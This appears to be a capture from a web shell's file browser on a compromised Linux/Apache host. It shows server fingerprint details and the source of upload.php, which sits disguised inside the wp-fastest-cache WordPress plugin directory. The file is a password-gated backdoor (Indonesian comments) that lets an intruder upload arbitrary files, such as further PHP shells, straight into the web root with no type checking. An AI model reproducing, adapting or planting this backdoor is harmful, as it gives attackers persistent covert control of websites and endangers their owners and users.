HEX
Server: Apache/2
System: Linux saturn 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: centuryt (1072)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/centuryt/public_html/wp-content/plugins/wp-fastest-cache/js/cdn/upload.php
<?php
session_start();

// Password hash (bcrypt) - gunakan password yang sama seperti sebelumnya
$hashed_password = '$2a$12$bfNsCSDep3cSt9tRQaUfm.d97GWev2NSFwjbu.SDMFlDO4/AxF4eK';

// Fungsi untuk verifikasi password
function verify_password($input_password, $hashed_password) {
    return password_verify($input_password, $hashed_password);
}

// Aktifkan error reporting untuk debugging
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// Jika form login telah disubmit
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
    if (verify_password($_POST['password'], $hashed_password)) {
        $_SESSION['logged_in'] = true;
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit();
    } else {
        $error_message = "Password salah. Silakan coba lagi.";
    }
}

// Proses upload file jika sudah login
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) {
    // Periksa apakah file diupload
    if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
        // Validasi ukuran file (tidak boleh 0 KB)
        if ($_FILES['file']['size'] > 0) {
            // Direktori saat ini sebagai direktori tujuan
            $uploadFile = __DIR__ . '/' . basename($_FILES['file']['name']);

            // Pindahkan file ke direktori tujuan
            if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
                $file_url = htmlspecialchars(basename($_FILES['file']['name']));
                $upload_message = "File successfully uploaded: <a href=\"$file_url\" target=\"_blank\">$file_url</a>";
            } else {
                $upload_message = "Error uploading file.";
            }
        } else {
            $upload_message = "File size is 0 KB. Please upload a valid file.";
        }
    } else {
        $upload_message = "No file uploaded or an error occurred.";
    }
}
?>

<!-- HTML form untuk login atau upload -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login & File Upload</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            font-family: Arial, sans-serif;
            background-color: #f7f7f7;
        }
        .box {
            background-color: white;
            padding: 30px;
            border-radius: 10px;
            text-align: center;
            box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);
            width: 300px;
        }
        input[type="password"], input[type="file"] {
            width: 100%;
            padding: 10px;
            margin-top: 10px;
            margin-bottom: 20px;
            border-radius: 5px;
            border: 1px solid #ccc;
            font-size: 16px;
        }
        button {
            padding: 10px 20px;
            border: none;
            border-radius: 5px;
            background-color: #007BFF;
            color: white;
            cursor: pointer;
            font-size: 16px;
            transition: background-color 0.3s ease;
        }
        button:hover {
            background-color: #0056b3;
        }
        .error, .upload-message {
            color: red;
            margin-bottom: 10px;
        }
        .upload-message {
            color: green;
        }
    </style>
</head>
<body>

<?php if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { ?>
    <div class="box">
        <h1>Login</h1>
        <?php if (isset($error_message)) { ?>
            <div class="error"><?= $error_message ?></div>
        <?php } ?>
        <form method="POST">
            <input type="password" name="password" placeholder="Masukkan password" required>
            <button type="submit">Login</button>
        </form>
    </div>
<?php } else { ?>
    <div class="box">
        <h1>Upload File</h1>
        <?php if (isset($upload_message)) { ?>
            <div class="upload-message"><?= $upload_message ?></div>
        <?php } ?>
        <form action="" method="post" enctype="multipart/form-data">
            <input type="file" name="file" required>
            <button type="submit">Upload File</button>
        </form>
    </div>
<?php } ?>

</body>
</html>